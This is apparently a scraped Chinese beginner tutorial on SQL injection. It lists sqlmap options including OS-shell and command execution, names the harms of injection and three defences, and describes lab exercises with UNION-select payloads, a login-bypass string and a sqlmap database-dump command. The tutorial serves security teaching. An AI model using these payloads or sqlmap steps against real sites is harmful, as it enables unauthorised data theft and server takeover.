初级安全入门——SQL注入的原理与利用

工具简介

  • SQLMAP: 一个开放源码的渗透测试工具,它能够自动探测和利用SQL注入漏洞来接管数据库服务器。它配备了一个强大的探测引擎,为最终渗透测试人员提供不少强大的功能,能够拖库,能够访问底层的文件系统,还能够经过带外链接执行操做系统上的命令。
  • 常见参数使用
--sql-shell 执行SQL命令
--OS-cmd 执行系统命令
--OS-shell 与系统Shell交互
-r 加载外部请求包
--data=DATA 经过POST发送数据字符串
--proxy=PROXY 使用HTTP代理连接到目标URL
--tamper=TAMPER 使用给定的脚本篡改注入数据
--current-user 获取当前用户名称
--current-db 获取当前数据库名称
--cookie 设置Cookie值
--dbs 列出全部数据库
--tables 列出数据库中的表

SQL注入的危害

  • 1.绕过登陆验证:使用万能密码登陆网站后台等。
  • 2.获取敏感数据:获取网站管理员账号、密码等。
  • 3.文件系统操做:列目录,读取、写入文件等。
  • 4.注册表操做:读取、写入、删除注册表等。
  • 5.执行系统命令:远程执行命令。

解决方案

  • 1.过滤:经过对SQL关键字和关键符号的过滤来避免SQL注入漏洞的发生
    • 优势
      业务改动量小,部署方便,是安全防御软件/硬件经常使用的解决方案。
    • 缺点
      基于黑名单的工做原理,容易产生误报或被绕过。
  • 2.编码:基于各种数据库定义的关键字和符号的转义规则将用户输入进行转义后组成SQL语句
    • 优势
      不影响正常请求且不容易被绕过,OWASP ESAPI项目提供了这种解决方案。
    • 缺点
      整改须要必定的工做量,须要数据库自身的支持,且理论上仍存在的绕过风险。
  • 3.预编译:基于各类语言的预编译功能,先将SQL语句进行编译,用户输入的内容只会被当作参数传入,不会被编译为命令
    • 优势
      从根本上杜绝了SQL发生的可能性。
    • 缺点
      业务改动量大,建议新开发的项目均采用此种方式避免SQL注入攻击的产生。

实验一:经过sql注入获取当前数据库名和mysql登陆名

若网站存在sql注入,且具备显示数据功能,那么咱们能够经过拼接参数进行表的联合查询来盗取所需数据
mysql

构造sql查找回显位置:在url后面加上?id=-1' union select 1,2,3;--+得知回显位置为查询数据集的第二和第三列
sql

构造sql查询当前数据库名和mysql登陆名:在url后面加上?id=-1' union select 1,database(),user(); --+
shell

实验二:使用万能密码登陆具备sql注入漏洞的网站

万能密码1' or 1=1 limit 1; #(原理在于利用引号的闭合,or运算,以及注释#)登陆
数据库

实验三:使用Sqlmap获取具备sql注入漏洞的网站的数据库信息(可进行拖库)

使用BurpSuite抓取报文
安全

使用sqlmap -r /etc/test –dbs获取全部数据库名称
服务器

相关文章
相关标签/搜索